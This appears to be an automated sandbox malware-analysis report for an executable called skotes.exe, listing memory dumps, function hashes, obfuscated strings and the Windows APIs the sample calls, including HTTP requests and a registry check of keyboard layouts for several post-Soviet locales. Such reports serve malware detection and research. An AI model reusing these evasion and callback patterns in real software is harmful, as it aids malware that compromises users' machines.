Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: f71498d7300ed232b924b0220695a7806a5cb9df5442b14273d0e19cab7002c3
Instruction ID: 924b8eccaf7d4362bdb982d92894bc7d742d61c020348e4af729e0e73bd6c356
Opcode Fuzzy Hash: f71498d7300ed232b924b0220695a7806a5cb9df5442b14273d0e19cab7002c3
Instruction Fuzzy Hash: 75A1D270A016059FDB10DB74CA45BABB7E8FF15318F14912DE819F7251EB32EA05CB91

Analysis Process: skotes.exePID: 404, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	707
Total number of Limit Nodes:	53

Executed Functions

Function 00EBE530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MGE+, xrefs: 00EBE821
246122658369, xrefs: 00EBF737, 00EBFA14, 00EC05E7, 00EC099A
WTs=, xrefs: 00EC05CA
#, xrefs: 00EC0624
9c9aa5, xrefs: 00EBFB8E
111, xrefs: 00EBF7A0
WDw=, xrefs: 00EBF71D, 00EBF9FA
GnNoc2Hc, xrefs: 00EBE56C
WTw=, xrefs: 00EC097D
UA==, xrefs: 00EBEB0F, 00EBED56
MQ==, xrefs: 00EBE592

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 640a1d398b736a56744301805d26c9c9043083b644a07ada519c72dcc6538cf9
Instruction ID: 4f895941809adb377c26366840f6ca78282da28c5cebee2190863940e04df5ec
Opcode Fuzzy Hash: 640a1d398b736a56744301805d26c9c9043083b644a07ada519c72dcc6538cf9
Instruction Fuzzy Hash: 5882D2709042889BEF14DF68CA49BDEBFB2EB45304F508198E815773C2C7759A89CBD2

Function 00EBEB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EBEB51
CreateDirectoryA.KERNEL32(00000000), ref: 00EBEC83
GetFileAttributesA.KERNEL32(00000000), ref: 00EBED98

Strings

stoi argument out of range, xrefs: 00EC08C4
GiQaT29tduF=, xrefs: 00EBFEB6
246122658369, xrefs: 00EBF737, 00EBFA14, 00EBFE00, 00EC05E7
WTs=, xrefs: 00EC05CA
#, xrefs: 00EC0624
FCQgKF==, xrefs: 00EBFEE4
9c9aa5, xrefs: 00EBFB8E
invalid stoi argument, xrefs: 00EC08B0
111, xrefs: 00EBF7A0
mxo1L0x, xrefs: 00EBEE84
WDw=, xrefs: 00EBF71D, 00EBF9FA, 00EBFDE3
FisgLnsCZO1i, xrefs: 00EBFF19
UA==, xrefs: 00EBEC41, 00EBED56, 00EBEF89, 00EBF2CE

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: 498d7256873890f66921924645ca4015c06562af0a7575b2ba28df0d1b212098
Instruction ID: 4f6404933c045ba01ba6f6510e5c28a2d8047bfe24a69250a5ce04dadfdc65f2
Opcode Fuzzy Hash: 498d7256873890f66921924645ca4015c06562af0a7575b2ba28df0d1b212098
Instruction Fuzzy Hash: C2F21A71A001449BEB18DB38CE89BDEBB72DF41304F1491ACE449B73D6DB369AC58B91

Function 00EBBE30 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,883F4975,?,00000000), ref: 00EBBEB8
InternetOpenW.WININET(00F08DC8,00000000,00000000,00000000,00000000), ref: 00EBBEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00EBBEEB
HttpOpenRequestA.WININET(?,00000000), ref: 00EBBF36
HttpSendRequestA.WININET(?,00000000), ref: 00EBBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00EBC0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 00EBC160
InternetCloseHandle.WININET(?), ref: 00EBC187
InternetCloseHandle.WININET(?), ref: 00EBC18F
InternetCloseHandle.WININET(?), ref: 00EBC197

Strings

stoi argument out of range, xrefs: 00EBE4EA
CH, xrefs: 00EBC2A8, 00EBBEDA, 00EBBEE3, 00EBBEE9
8HJUeIfzLo==, xrefs: 00EBC3CB, 00EBC623
RE1NXF==, xrefs: 00EBBF0E
8HJUeMD Lq5=, xrefs: 00EBC465
invalid stoi argument, xrefs: 00EBE4F4

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$CH$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-580399465
Opcode ID: d3f3b8898273c0133bbec9f6847f82757848d115121fbb0e9c78a51f14c1aa15
Instruction ID: 0b712ee0877aabbb291adefeaf6b7ba3774975958713315163f2dcf235545ec7
Opcode Fuzzy Hash: d3f3b8898273c0133bbec9f6847f82757848d115121fbb0e9c78a51f14c1aa15
Instruction Fuzzy Hash: BEB1F5B16041189BDB28CF28CC85BEEBBB5EF45304F6051A9F509A72D1D7719AC0CF95

Function 00EB6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 00EB617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00EB6271

Strings

00000419, xrefs: 00EB6098
0000043f, xrefs: 00EB612B
Keyboard Layout\Preload, xrefs: 00EB6054
00000423, xrefs: 00EB60FA
00000422, xrefs: 00EB60C9

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 88e3c46c3da8c2635417e58019f3231d35f630b1458b380bf1eaacd7639e632c
Instruction ID: 7f7e51402feb4cabc282e6a33c944a505ce75e0eacf0000e671d549b180744fd
Opcode Fuzzy Hash: 88e3c46c3da8c2635417e58019f3231d35f630b1458b380bf1eaacd7639e632c
Instruction Fuzzy Hash: 94B1CE719012689BEB24DB14CD85BDEB7B9EF04340F4402E8E108F7291DB75ABA8CF95

Function 00EB7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EB7ED3

Strings

JjsrPl==, xrefs: 00EB828A
JjssPV==, xrefs: 00EB81E2
